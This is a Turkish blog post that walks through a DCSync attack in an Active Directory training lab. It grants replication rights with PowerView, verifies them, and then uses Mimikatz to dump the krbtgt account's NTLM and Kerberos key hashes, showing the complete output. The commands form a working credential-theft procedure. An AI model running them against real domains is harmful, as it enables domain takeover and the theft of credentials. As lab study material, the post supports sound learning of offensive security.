İçeriğe geç

DCSync Attack

Uzun bir aradan sonra MERHABA! Pentester Academy AD Labına devam ediyorum. Aslında lab'ı bitirdim ancak sürem 28 Ocak'ta sonlanacak, bundan dolayı elimden geldiğince tekrar etmeye çalışıyorum. Bu yazı içerisinde Replication İznini nasıl kötüye kullanabiliriz bunu göreceğiz. Hadi başlayalım!

Lab Kurulumu

Bir senaryo üzerinden gideceğimizden dlayı ilk olarak ilgili zafiyeti oluşturmamız gerekmektedir. Bunun için DC üzerinde aşağıdaki işlemi yapmalıyız.

PS C:\Windows\system32> Invoke-Command -FilePath C:\AD\PowerView.ps1 -Session $sess2
PS C:\Windows\system32> Enter-PSSession -Session $sess2

DC üzerinde Add-ObjectAcl fonksiyonu ile bir işlem gerçekleştireceğiz bunun için bunu Invoke-Command ile DC'ye göndermemiz gerekmektedir. Şimdi lab ortamımızı oluşturacak işlemi yapalım.

[dcorp-dc]: PS C:\Users\svcadmin\Documents> Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -Pri
ncipalSamAccountName student130 -Rights DCSync -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Get-DomainSearcher search string: LDAP://DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Granting principal S-1-5-21-1874506631-3219952063-538504511-45149 'DCSync' on DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Granting principal S-1-5-21-1874506631-3219952063-538504511-45149 '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' rights on
DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Granting principal S-1-5-21-1874506631-3219952063-538504511-45149 '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' rights on
DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Granting principal S-1-5-21-1874506631-3219952063-538504511-45149 '89e95b76-444d-4c62-991a-0facbeda640c' rights on
DC=dollarcorp,DC=moneycorp,DC=local

student130 kullanıcısı için DCSync haklarını tamamladık. Ve artık bunu istismar edebiliriz.

Saldır

Sahip olduğumuz kullanıcı ile ilgili ilk olarak haklarını kontrol edecek bir işlem gerçekleştirelim.

PS C:\Users\student130> $acls = Invoke-ACLScanner -ResolveGUIDs | select *
PS C:\Users\student130> $acls | Where-Object {$_.IdentityReferenceName -match "student130" -and $_.ObjectDN -eq "DC=dollarcorp,DC=moneycorp,DC=local" } | select ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName

ObjectDN                            ActiveDirectoryRights ObjectAceType                              IdentityReferenceName
--------                            --------------------- -------------                              ---------------------
DC=dollarcorp,DC=moneycorp,DC=local         ExtendedRight DS-Replication-Get-Changes-In-Filtered-Set student130
DC=dollarcorp,DC=moneycorp,DC=local         ExtendedRight DS-Replication-Get-Changes                 student130
DC=dollarcorp,DC=moneycorp,DC=local         ExtendedRight DS-Replication-Get-Changes-All             student130

Replication hakları DC üzerinde Users and Computers alanında domain kısmına geldiğinizde proporty kısmından görülebildiğinden dolayı kod tarafında $_.ObjectDN alanı "DC=dollarcorp,DC=moneycorp,DC=local" şeklinde taımlanıştır.

Şimdi sadece bir görmenizi istediğimden dolayı. Lab ortamını kurarken ki hakları silip yukarıdaki komutu tekrar çalıştıracağım.

PS C:\Users\student130> $acls = Invoke-ACLScanner -ResolveGUIDs | select *
PS C:\Users\student130>
PS C:\Users\student130> $acls | Where-Object {$_.IdentityReferenceName -match "student130" -and $_.ObjectDN -eq "DC=dollarcorp,DC=moneycorp,DC=local" } | select ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
PS C:\Users\student130>

Görüldüğü üzere hiç bir sonuç gelmemektedir. Neyse bunu şimdi bir kenara bırakıyorum sadece göstermek istemiştim. Labımıza geri dönelim. replication haklarımızın olduğunu gördük. Bunu gören saldırgan hemen krbtgt hesabının ntlm hash'ini elde etmek isteyecektir!

PS C:\Users\student130> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

  .#####.   mimikatz 2.1.1 (x64) built on Nov 29 2018 12:37:56
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # lsadump::dcsync /user:dcorp\krbtgt
[DC] 'dollarcorp.moneycorp.local' will be the domain
[DC] 'dcorp-dc.dollarcorp.moneycorp.local' will be the DC server
[DC] 'dcorp\krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 2/16/2019 11:01:46 PM
Object Security ID   : S-1-5-21-1874506631-3219952063-538504511-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: ff46a9d8bd66c6efd77603da26796f35
    ntlm- 0: ff46a9d8bd66c6efd77603da26796f35
    lm  - 0: b14d886cf45e2efb5170d4d9c4085aa2

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 6cb7f438bf5c099fe4d029ebb5c6e08e

* Primary:Kerberos-Newer-Keys *
    Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : e28b3a5c60e087c8489a410a1199235efaf3b9f125972c7a1e7618a7469bfd6a
      aes128_hmac       (4096) : 4cffc651ba557c963b71b49d1add2e6b
      des_cbc_md5       (4096) : bf5d7319947f54c7

* Primary:Kerberos *
    Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
    Credentials
      des_cbc_md5       : bf5d7319947f54c7

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  7b766fa41d1e30157b6c0113528e63ea
    02  1bda631fac0fdec6cedfecbc7a99e30d
    03  d7be969eaa4b841a9914e2a5eff571f7
    04  7b766fa41d1e30157b6c0113528e63ea
    05  1bda631fac0fdec6cedfecbc7a99e30d
    06  8835f5f828c434a2fe077eb224e25943
    07  7b766fa41d1e30157b6c0113528e63ea
    08  8fdecaac2296648db5620a13723f60b5
    09  8fdecaac2296648db5620a13723f60b5
    10  aace962cfe8ebce04c9ed249e98369d3
    11  6424d51e82fdc5e6a2f0559032cbead2
    12  8fdecaac2296648db5620a13723f60b5
    13  76e039370f352eaaff05fd2f6f8239d6
    14  6424d51e82fdc5e6a2f0559032cbead2
    15  acc424fd2c2c10d7e46950ad93e065c6
    16  acc424fd2c2c10d7e46950ad93e065c6
    17  734df139b9ceac875a011e24df53d335
    18  e399f39adefad64659a67171b4399221
    19  80cfc6a03006436b02bf3d27e8374444
    20  04a4819688c0185368738acd7a8e12c4
    21  4c60210b91d6e0fddc8a54f16337b218
    22  4c60210b91d6e0fddc8a54f16337b218
    23  ca7e51aef08dffca06881110ea03bf1d
    24  36b3cac402a4005af573f1105ed14b3a
    25  36b3cac402a4005af573f1105ed14b3a
    26  b35c755b303bec7b4b7091a2f96d789f
    27  58300e76fcc0c2c854c8cda6363470e2
    28  2f6cbfe287e89f7f4829f443854857fd
    29  610788375bd98bebd50561d66fcf8f74
Kategori:Active DirectoryPowerShell

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir